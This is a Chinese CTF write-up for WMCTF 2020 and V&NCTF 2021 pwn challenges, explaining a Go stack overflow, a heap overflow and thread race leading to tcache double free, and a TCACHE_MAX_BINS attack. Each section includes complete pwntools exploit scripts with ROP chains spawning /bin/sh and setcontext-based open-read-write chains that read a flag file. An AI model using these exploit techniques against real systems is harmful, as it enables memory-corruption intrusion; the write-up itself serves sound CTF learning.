2020WMCTF

字数统计: 5.8k字   |   阅读时长≈ 29分

分别有一个多线程竞争和mac相关的题目，涉及知识盲区，值得学习。

cfgo-checkin

程序分析

程序首先使用了 upx加壳，去了壳之后能初步看出是一个go程序，但是仍然很难看出具体逻辑。

运行程序，发现是一个走迷宫。提示走到100层，这里直接使用 bfs能够走到100层。

然后，就相当于一个 blind-pwn手动测一下。发现如果输入超出时，会发生崩溃，应该是有一个栈溢出。然后手动测一下，发现输入 'a'*0x70+p64(0xdeadbeef)时，报错会报addr为 deadbeef。然后只修改 一个字节 0x10时，发现会输出一个多余地址。这里怀疑这个 0x70之后存储的是 我们输出的字符串的地址，也就是修改这个地址，可以泄露地址。

然后，继续测试，发现 0x78和 0x80 的偏移处应该是存储的 输出的 size。这里我们继续初始为 0x20。然后再溢出到 0x110偏移处报错，猜测这里是 返回地址。

利用分析

那么，这道题就是一个比较常见的 栈溢出。拥有一个任意地址输出和修改返回地址。

此外，发现栈初始化在 0xc000000000这段内存中，而且不会变化，我们可以选择栈上一个 存有 程序基址的地址来泄露 程序的基地址。这里我们选择 0xc0000001c0位置处。然后修改 返回地址的最低位为 \xce从而返回到 漏洞函数开始处，继续栈溢出。

这里后面就是利用栈溢出 rop来实现 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#coding: utf-8
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
debug = 1
filename = './pwn'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'

if debug == 1:
    p = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def convert_to_maze(input):
    strings = input.split('\n')
    row = 0
    maze = []
    for string in strings:
        i = 0
        col = 0
        maze_row = []
        while i < len(string):
            if string[i:].startswith('\xf0\x9f\x98') \
                    or string[i:].startswith('\xf0\x9f\x99') \
                    or string[i:].startswith('\xf0\x9f\x90') \
                    or string[i:].startswith('\xf0\x9f\x8D'):
                start = [row, col]
                maze_row.append(1)
                i += 4
            elif string[i:].startswith('\xf0\x9f\x9a') \
                    or string[i:].startswith('\xf0\x9f\x99'):
                end = [row, col]
                maze_row.append(1)
                i += 4
            elif string[i:].startswith('\xe2\xac\x9b'):
                maze_row.append(0)
                i += 3
            elif string[i:].startswith('\xe2\xac\x9c'):
                maze_row.append(1)
                i += 3
            elif len(string[i:]) < 3:
                maze_row.append(0)
                break
            else:
                print(string[i:i + 4].encode('hex'))
                print("error input")
                exit(0)

            col += 1
        maze.append(maze_row)
        row += 1

    return start, maze, end


def solve_maze(level):
    p.recvline()

    input_maze = ""
    times = 0
    while times <= level + 5:
        string_get = p.recvline()
        input_maze += string_get
        times += 1

    # print(input_maze)

    start, maze, end = convert_to_maze(input_maze)

    sol = []
    if mov(start[0], start[1], maze, end, sol) == False:
        print("No solution")
        exit(0)

    p.sendline(''.join(sol[::-1]))


def mov(row, col, maze, end, sol):
    if row == end[0] and col == end[1]:
        return True

    maze[row][col] = 0

    row_size = len(maze)
    col_size = len(maze[row])
    if col < col_size and row + 1 < row_size and maze[row + 1][col] == 1:
        if mov(row + 1, col, maze, end, sol) == True:
            sol.append('s')
            return True

    if col < col_size and row - 1 >= 0 and maze[row - 1][col] == 1:
        if mov(row - 1, col, maze, end, sol) == True:
            sol.append('w')
            return True

    if col + 1 < col_size and maze[row][col + 1] == 1:
        if mov(row, col + 1, maze, end, sol) == True:
            sol.append('d')
            return True

    if col - 1 >= 0 and maze[row][col - 1] == 1:
        if mov(row, col - 1, maze, end, sol) == True:
            sol.append('a')
            return True

    maze[row][col] = 1

    return False

def pwn():
    for i in range(100):
        solve_maze(i)
        print("Done " + str(i))

    leak_addr=0xc0000001c0
    leak_size=0x30
    payload='\x00'*0x70+p64(leak_addr)+p64(leak_size)+p64(leak_size)+(272-0x70-0x18)*'\x00'
    payload+='\xCE'
    p.sendlineafter('Leave your name:', payload)
    p.recvuntil("Your name is : ")
    elf_base = u64(p.recvn(8)) - (0x561773edd2f0 - 0x0000561773e11000)
    p.recvn(0x20)
    stack_addr = u64(p.recvn(8)) - (0xc00003ce88 - 0xc00003cb68)
    log.success("ELF base => " + hex(elf_base))
    log.success("stack addr => " + hex(stack_addr))
    # gdb.attach(p)

    p_rdi = elf_base + 0x0000000000109d3d
    p_rsi_r15 = elf_base + 0x0000000000119c45
    p_rax = elf_base + 0x0000000000074e29
    syscall_ret = elf_base + 0x00000000000cfe79
    binsh = stack_addr + 0x680

    rops = flat([
        p_rdi, binsh,
        p_rsi_r15, 0, 0,
        p_rax, 59,
        syscall_ret
    ])

    payload = '\x00' * 0x70 + p64(leak_addr) + p64(leak_size) + p64(leak_size) + (
                272 - 0x70 - 0x20) * '\x00' + "/bin/sh\x00"
    payload += rops + "/bin/sh\x00"
    #raw_input()
    p.sendlineafter('Leave your name:', payload)
    #p.interactive()

while True:
    try:
        pwn()
        p.interactive()
    except:
        p.close()
        p = process(filename)

roshambo

第一次做到多线程相关的题目，这道题有两种做法，都学习一下。

程序分析

程序总体逻辑有两种模式，第一种是 C，会创建用户，然后等待连接；第二种是 L，输入用户的 sha256值，就能够连接到 C模式下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  init_0();
  alram1();
  get_info();
  openfile(a1, a2);
  sandbox();
  recv_client();
  puts("Welcome to WMCTF!");
  puts("Roshambo is a good game!");
  puts("Have fun!");
  while ( 1 )
    client();
}

主函数功能如上所示。程序会开启两个线程，一个线程用于处理当前用户输入，另一个线程与两一个程序进行通信。这里我们主要查看 recv_client里多线程运行的函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall __noreturn start_routine(void *a1)
{
  char s[16]; // [rsp+10h] [rbp-1010h] BYREF
  size_t nbytes; // [rsp+20h] [rbp-1000h]
  _QWORD v3[507]; // [rsp+48h] [rbp-FD8h] BYREF

  v3[506] = __readfsqword(0x28u);
  memset(s, 0, 0x1000uLL);
  while ( !num || num == 1 )
  {
    read(file1[num == 0], s, 0x38uLL);
    read(file1[num == 0], v3, nbytes);
    if ( (unsigned int)sub_1129(s) )
      funcs((__int64)s);
    memset(s, 0, 0x1000uLL);
    sleep(1u);
  }
  exit1();
}

看一下 funcs的主要功能：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case 8LL:
  sub_21F5();
  printf("size: ");
  size = sub_10BF();
  if ( size > 0x100 )
  {
    puts("Too big!");
    exit(-1);
  }
  ptr = malloc(size);
  memset(ptr, 0, size);
  printf("what do you want to say? ");
  read(0, ptr, size - 1);
  printf("leave: %s", (const char *)ptr);
  free(ptr);

当我们选择 8时，程序会显示成功，同时会根据我们输入的size来分配堆块，并输入。这里就存在漏洞，可以看到我们输入时是 read(0, ptr, size-1)，如果我们申请的 size为0，此时就会输入的 0xfffffff大小，存在堆溢出漏洞。那么这里就可以是很常规的堆溢出做法。（这里根据赛后官方WP，可以看到这是一种非预期做法，而常规做法应该是 条件竞争）。

1
2
3
4
5
6
7
8
9
case 3LL:
  if ( *(_QWORD *)(a1 + 16) <= 0x100uLL )
  {
    ptr = malloc(*(_QWORD *)(a1 + 16));
    memcpy(ptr, (const void *)(a1 + 56), *(_QWORD *)(a1 + 16));
    output((const char *)&names[32 * (num == 0)], (const char *)ptr);
    sleep(2u);
    free(ptr);
  }

这第二个洞，是我之前没有遇到的，这里会详细分析。我们可以看到 case 3时，会分配一个 堆块到 Ptr，然后 sleep(2)后 free(ptr)。而这里的 ptr与我们的 case 8的 释放的堆块是一致的。也就是如果有两个线程都完成 ptr=malloc()后，ptr指向的堆块是一致的，但是后面两个线程都会执行 free(ptr)，那么也就是构成了一个 tcache double free漏洞。

然后，这里还需要注意两个进程通信时，发送的数据格式如下（这里就直接使用 Nop 师傅的说明一下）：

1
2
3
4
5
6
7
8
+--------+--------+----------+--------+----------+
|    8   |   8    |     8    |   32   | name_len |
+--------+--------+----------+--------+----------+
| status | option | name_len | sha256 |   name   |
+--------+--------+----------+--------+----------+

status： "[RPC]"  or  "EXIT"
option:  [1 - 8]

只有在status为”[RPC]”，另一个client才会做出相应的动作，而至于name_Len开始的位置，后续基本没有用到，可以不用管；对于option，关注client函数中的相应逻辑，重点关注case 8：

利用分析

这里首先 说一下第一种堆溢出的做法。

  1. 构造空闲tcache

首先使用 case 8分别构造 多个 空闲tcache，为后面修改 chunk size做准备；

  1. 堆溢出泄露地址

然后，使用堆溢出修改一个 chunk size为超过 tcache，然后释放其到 Unsortedbin，然后利用 堆溢出，将输入与 unsortedbin的 fd指针连接，这样后面就能够将 libc输出。

  1. getshell

这里只能使用 orw。利用 堆溢出 将之前 0x100的 tcache的 next指向 __free_hook，利用 setcontext+53来 执行 orw。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
debug = 1
filename = './roshambo'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
if debug == 1:
    p = process(filename)
    sh = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def startC(auth, name):
    p.sendlineafter('Your Mode: ', 'C')
    p.sendlineafter('Authorization: ', auth)
    p.recvuntil('Your room: ')
    room = p.recvuntil('\n', drop=True)
    p.sendlineafter('Your Name: ', name)
    return room

def startL(room, name):
    sh.sendlineafter('Your Mode: ', 'L')
    sh.sendlineafter('Your room: ', room)
    sh.sendlineafter('Your Name: ', name)

def sendChoice(pr, choice, ):
    pr.sendlineafter('>> ', choice)

def vul(pr, choice, size, payload):
    pr.sendlineafter('>> ', choice)
    pr.sendlineafter('size: ', str(size))
    pr.sendlineafter('want to say? ', payload)

def Pwn():
    room = startC('a', 'a1ex')
    startL(room, 'a1exxx')

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0x18, 'aaaa')

    for i in range(7):
        payload = '[RPC]'
        payload = payload.ljust(8, b'\x00')+p64(4)
        sendChoice(p, payload)
        # sleep(0.1)
        payload = '[RPC]'
        payload = payload.ljust(8, b'\x00')+p64(8)
        payload1 = (p64(0x20)+p64(0x21))*((0xf0-i*0x10)/0x10)
        vul(p, payload, 0xf8-(i*0x10), payload1)
    gdb.attach(p, 'bp $rebase(0x2498)')
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    payload1 = 'a'*0x18+p64(0x451)+p64(0x20)+p64(0x21)
    vul(p, payload, 0x0, payload1)
    print('======== change size ok')
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    payload1 = p64(0)+p64(0x21)+(p64(0x20)+p64(0x21))*(0xe0/0x10)
    sh.recv()
    vul(p, payload, 0xf8, payload1)
    print('========= fake chunk freed')
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    payload1 = 'a'*0x20
    vul(p, payload, 0x0, payload1)
    p.recvuntil('a'*0x20)

    libc_base = u64(p.recv(6).ljust(8, b'\x00'))-0x10-970-libc.sym['__malloc_hook']
    # orw
    pop_rdi = libc_base + 0x000000000002155f  # pop rdi ; ret
    pop_rsi = libc_base + 0x0000000000023e8a  # pop rsi ; ret
    pop_rdx = libc_base + 0x0000000000001b96  # pop rdx ; ret
    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    ret = libc_base + 0xc4cd0
    setcontext = libc_base+libc.sym['setcontext']
    __free_hook = libc_base+libc.sym['__free_hook']
    print('libc_base:',hex(libc_base),hex(setcontext))

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    payload1 = 'a'*0x18+p64(0x451)+p64(libc_base+libc.sym['__malloc_hook']+0x10+1120)+p64(libc_base+libc.sym['__malloc_hook']+0x10+1120)+'a'*0xe0+p64(0)+p64(0xe1)+p64(__free_hook)
    vul(p, payload, 0x0, payload1)

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    payload1 = 'a'*0x18
    vul(p, payload, 0xe8, payload1)

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    payload1 = '[RPC]'
    payload1 = payload1.ljust(8, b'\x00')+p64(8)
    payload = p64(setcontext + 53)
    payload += flat([__free_hook + 0xB0, pop_rsi, 0, libc_open])  # 0x20
    payload += flat([pop_rdi, 5, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_read])  # 0x38
    payload += flat([pop_rdi, 1, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_write])  # 0x38
    payload += p64(0)
    payload += flat([__free_hook + 8, pop_rdi])
    payload += 'flag\x00'
    vul(p, payload1, 0xe8, payload)

    p.interactive()

Pwn()

第二种方法

上面的方法比较简单，算是非预期解。第二种方法就是利用多线程条件竞争。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
case 3LL:
  if ( *(_QWORD *)(a1 + 16) <= 0x100uLL )
  {
    ptr = malloc(*(_QWORD *)(a1 + 16));
    memcpy(ptr, (const void *)(a1 + 56), *(_QWORD *)(a1 + 16));
    output((const char *)&names[32 * (num == 0)], (const char *)ptr);
    sleep(2u);
    free(ptr);
  }
  
case 8LL:
  sub_21F5();
  printf("size: ");
  size = sub_10BF();
  if ( size > 0x100 )
  {
    puts("Too big!");
    exit(-1);
  }
  ptr = malloc(size);
  memset(ptr, 0, size);
  printf("what do you want to say? ");
  read(0, ptr, size - 1);
  printf("leave: %s", (const char *)ptr);
  free(ptr);

一个进程有两个子线程，一个线程处理由客户端或服务端传输的数据，一个线程处理由本程序发送的数据。

而这两个线程中，如果是接受到 case 3的情况，即会 sleep(2)然后 free(ptr)；如果是本程序发送了 case 8的情况，也会 free(ptr)。那么如果我们先 接受了 case 3完成了 堆块分配，然后进入 sleep(2)；而此时 另一个线程又刚好进入 case 8，完成了 堆块分配，然后直接 free(ptr)，最后在 case 3中 再 free(ptr)，那么就构造了 tcache double free漏洞。

利用方法

所以，这道题的利用方法，即是使 进程的 recv_client 线程 先进入 case 3，再使线程 client进入 case 8。那么即可完成 double free。我们利用此 double free可以释放大堆块到 unsortedbin中来泄露地址，并且 利用堆溢出来 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
debug = 1
filename = './roshambo'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
if debug == 1:
    p = process(filename)
    sh = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def startC(auth, name):
    p.sendlineafter('Your Mode: ', 'C')
    p.sendlineafter('Authorization: ', auth)
    p.recvuntil('Your room: ')
    room = p.recvuntil('\n', drop=True)
    p.sendlineafter('Your Name: ', name)
    return room

def startL(room, name):
    sh.sendlineafter('Your Mode: ', 'L')
    sh.sendlineafter('Your room: ', room)
    sh.sendlineafter('Your Name: ', name)

def sendChoice(pr, choice, ):
    pr.sendlineafter('>> ', choice)
    sleep(0.1)

def vul(pr, choice, size, payload):
    pr.sendlineafter('>> ', choice)
    pr.sendlineafter('size: ', str(size))
    pr.sendlineafter('want to say? ', payload)

def vul2(pr, size, payload):
    pr.sendlineafter('size: ', str(size))
    pr.sendlineafter('want to say? ', payload)


def Pwn():
    room = startC('a', 'a1ex')
    startL(room, 'a1ex')

    payload = '1'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '2'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0x0, '1\x00')

    payload = '1'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '2'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0xf8, 'a'*0xf7)

    payload = '1'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '2'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0x28, 'a'*0x27)

    #gdb.attach(p, 'bp $rebase(0x2498)')
    #race condition
    for i in range(8):
        payload = b'1'
        payload = payload.ljust(8, b'\x00') + p64(4)	#先在clinet中start game
        sendChoice(p, payload)
        #sleep(1)
        payload = '[RPC]'
        payload = payload.ljust(8, b'\x00') + p64(3)	#再在 recv_clinet中 进入case 3
        payload += p64(0x78)
        payload = payload.ljust(0x30)+'a'*0x78
        sendChoice(sh, payload)
        # print('========= output')
        payload = b'2'
        payload = payload.ljust(8, b'\x00') + p64(8)	#最后进入 clinet中的 case 8
        vul(p, payload, 0xf8, 'a'*0xf7)
        # sleep(1)
        sleep(1)
        print('i : ',i)

    # gdb.attach(p, 'bp $rebase(0x2498)')
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0x0, 'a'*0x20)
    p.recvuntil('a'*0x20)

    libc_base = u64(p.recv(6).ljust(8, b'\x00'))-0x10-202-libc.sym['__malloc_hook']
    # orw
    pop_rdi = libc_base + 0x000000000002155f  # pop rdi ; ret
    pop_rsi = libc_base + 0x0000000000023e8a  # pop rsi ; ret
    pop_rdx = libc_base + 0x0000000000001b96  # pop rdx ; ret
    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    ret = libc_base + 0xc4cd0
    setcontext = libc_base+libc.sym['setcontext']
    __free_hook = libc_base+libc.sym['__free_hook']
    print('libc_base:',hex(libc_base),hex(setcontext))
    gdb.attach(p, 'bp $rebase(0x2498)')
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0x0, 'a'*0x18+p64(0xf1)+p64(__free_hook))

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(8)
    vul(p, payload, 0xf8, 'a'*0xf0)

    payload = '[RPC]'
    payload = payload.ljust(8, b'\x00')+p64(4)
    sendChoice(p, payload)
    # sleep(0.1)
    payload1 = '[RPC]'
    payload1 = payload1.ljust(8, b'\x00')+p64(8)
    payload = p64(setcontext + 53)
    payload += flat([__free_hook + 0xB0, pop_rsi, 0, libc_open])  # 0x20
    payload += flat([pop_rdi, 5, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_read])  # 0x38
    payload += flat([pop_rdi, 1, pop_rsi, __free_hook + 0xC0, pop_rdx, 0x30, libc_write])  # 0x38
    payload += p64(0)
    payload += flat([__free_hook + 8, pop_rdi])
    payload += 'flag\x00'

    vul(p, payload1, 0xf8, payload)

    p.interactive()

Pwn()

下面的题，并非 WM的题，不过是正在做WM时，看了下vn的题。所以这里就把有意思的点记下来。

2021-V&NCTF-little red flower

程序分析

抽点时间大概看了一下这道题，还挺有意思的。记录一下这道题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int off; // [rsp+0h] [rbp-20h] BYREF
  _DWORD size[3]; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  welcome();
  off = 0;
  *(_QWORD *)&size[1] = malloc(0x200uLL);
  memset(*(void **)&size[1], 1, 0x200uLL);
  puts(a4237m);
  vul1();
  puts(a4237m_0);
  puts(a4237m_1);
  puts("Offset:");
  _isoc99_scanf("%d", &off);
  puts(a4237m_2);
  puts("Content:");
  read(0, (void *)(off + *(_QWORD *)&size[1]), 8uLL);
  puts(a4237m_3);
  puts("size:");
  size[0] = readInt();
  if ( size[0] <= 0xFFFu || size[0] > 0x2000u )
  {
    puts(a4237m_4);
    exit(201527);
  }
  buf = malloc(size[0]);
  if ( !buf )
  {
    puts(a4237m_4);
    exit(201527);
  }
  puts(a4237m_5);
  puts(a4237m_6);
  puts(a4237m_7);
  puts(a4237m_8);
  printf(">>");
  read(0, buf, size[0]);
  puts(a4237m_9);
  puts("\x1B[42;37mBye~\x1B[0m");
  free(buf);
  buf = 0LL;
  exit(201527);
}

程序漏洞很简单，开始就给了libc地址。允许对任意地址写一个bit。对堆块地址第一次写时，off可以自己指定，存在堆溢出。最后是能申请一个大块。

利用分析

想了很久，这个任意地址一比特写有什么用，试了各种方法也不太靠谱。最后给了个hint，让关注一下对 TCACHE_MAX_BINS的攻击。

然后，就仔细研究一下。首先我们对 global_max_fast这个的攻击应该很熟悉，把这个全局变量改小，可以将原本 fastbin放置到 unsortedbin中；把他改大，可以将大块放入 fastbin中。

那么，这里 TCACHE_MAX_BINS的作用是什么？源码可看到：

1
2
3
4
5
6
7
# define TCACHE_MAX_BINS		64

typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

TCACHE_MAX_BINS指定了 tcache_perthread_struct中 tcache链的数量。如果将其改大，那么 tcache链将会增加，而每一个 tcache链是按照 0x10增加的。也就是 此时 我们释放一个大块，其会被放入 增大的 tcache链中。举个例子，原本 TCACHE_MAX_BINS的值为 0x40，能存放的堆块大小为 (0x40*0x10)+0x10=0x410，也即小于等于 0x410的堆块会被放入 tcache中。而如果我们将其改为 0xf0，那么能存放的堆块大小变为 (0xf0*0x10)+0x10=0xf10。

还需要注意，如何获得 TCACHE_MAX_BINS这个全局变量的地址。从源码中可以看到 mp_结构中，存储了 TCACHE_MAX_BINS的值。而为了确定 mp_结构体的位置，我们可以使用 search -p tcache_Perthread_struct_addr libc命令，在 libc中搜索哪个地址，存储了 tcache_perthread_struct结构体的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
  ,
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};

搜索结果如下，该地址 +0x8即为 TCACHE_MAX_BINS的地址，此时为 0x40。

1
2
3
4
5
6
pwndbg> search -p 0x5588ac539000 libc
libc-2.30.so    0x7f4a93e182c8 0x5588ac539000
    
pwndbg> x/10xg 0x7f5380b762c8+0x8
0x7f5380b762d0 <mp_+80>:        0x0000000000000040      0x0000000000000408
0x7f5380b762e0 <mp_+96>:        0x0000000000000007      0x0000000000000000

那么现在的总体思路，就是通过任意地址写一比特，将 TCACHE_MAX_BINS改大。然后再通过 堆溢出漏洞，在一个适当的地址写上 free_hook的地址。再申请此时 free_hook地址所在的 tcache链表所指向的大小，即可将 free_hook分配出来。后续就是劫持 free_hook执行 orw。

这里，还需要注意如何确定 free_hook写在哪个位置，又要申请多大的size。根据我的调试，当把 TCACHE_MAX_BINS改大后，tcache_perthread_struct结构体中 counts[TCACHE_MAX_BINS]的大小仍然为 (0x40*2)=0x80。所以 0x80后全是 entries结构。

1
2
3
4
5
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

举个例子说明，当我们需要申请 0x1020的tcache时，我们需要将 (0x1020-0x20)/0x10*8=0x800，也即 tcache_perthread_struct+0x800+0x90的位置写上 一个堆块地址。还需要将 (0x1020-0x20)/0x10*2=0x200的位置 写上为\x01\x00。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context.update(arch="amd64", os='linux', log_level='debug')
context.terminal=(['tmux','split','-h'])
filename = "./pwn"
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1
if debug == 1:
    p = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)


def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
    payload = p64(rdx_rdi) + p64(0) * 2  #rdx
    payload += p64(secontext_addr)             #call func_addr
    payload = payload.ljust(0x60, b'\x00')
    payload += p64(rdi) + p64(rsi)  # rdi , rsi
    payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0)  # rdx
    payload += p64(rsp) + p64(rip)  # rsp, rip
    payload = payload.ljust(0xf8, b'\x00')
    return payload

def Pwn():
    gdb.attach(p, 'bp $rebase(0xE50)')
    p.recvuntil('GIFT: ')
    libc_addr = int(p.recv(30)[2:14],16)
    print('libc_addr:',hex(libc_addr))
    libc.address = libc_addr-libc.sym['_IO_2_1_stdout_']
    print('libc_base:',hex(libc.address))
    free_hook = libc.sym['__free_hook']
    tcach_max_bins = libc.address+0x1ea2d0

    # gdb.attach(p, 'bp $rebase(0xE50)')
    p.recvuntil('a byte anywhere\n')
    p.send(p64(tcach_max_bins+1))
    p.sendlineafter('And what?\n', p8(0xff))
    #gdb.attach(p, 'bp $rebase(0xf25)')
    p.sendlineafter('Offset:\n',str(0x9f0))
    p.sendafter('Content:', p64(free_hook))

    p_rdi_r = 0x26bb2 + libc.address
    p_rsi_r = 0x2709c + libc.address
    p_rdx_r12_r = 0x11c3b1 + libc.address
    p_rax_r = 0x28ff4 + libc.address
    ret = 0x256b9 + libc.address

    open_addr = libc.sym['open']
    read_addr = libc.sym['read']
    write_addr = libc.sym['write']

    magic = 0x154b20 + libc.address
    flag_str_addr = free_hook+0x220
    flag_addr = free_hook-0x20

    orw = flat([
        p_rdi_r, flag_str_addr,
        p_rsi_r, 0,
        open_addr,
        p_rdi_r, 3,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x20, 0,
        read_addr,
        p_rdi_r, 1,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x20, 0,
        write_addr
    ])
    frame_addr = free_hook
    orw_addr = free_hook+0x120

    setcontext = libc.sym['setcontext']
    payload = p64(magic)
    frame = magic_frame(frame_addr, setcontext+61, 0,0,0,orw_addr, ret)
    payload += frame
    payload = payload.ljust(0x120, b'\x00')+orw
    payload = payload.ljust(0x220, b'\x00')+b'./flag\x00'

    p.sendlineafter('size:\n',str(0x1810))
    p.sendlineafter('>>', payload)

    p.interactive()

Pwn()

White_Give_Flag

想了很久，发现没啥可利用的点。这里前面把flag读到了 0x300到 0x500之间的堆块偏移 0x10处。然后释放了堆块，但是 flag在堆块上保留了下来。

所以，这里就不断申请一个 0x300到0x500的堆块，然后使用 edit修改前 0x10字节，随后使用 泄露数据，看是否有 flag。

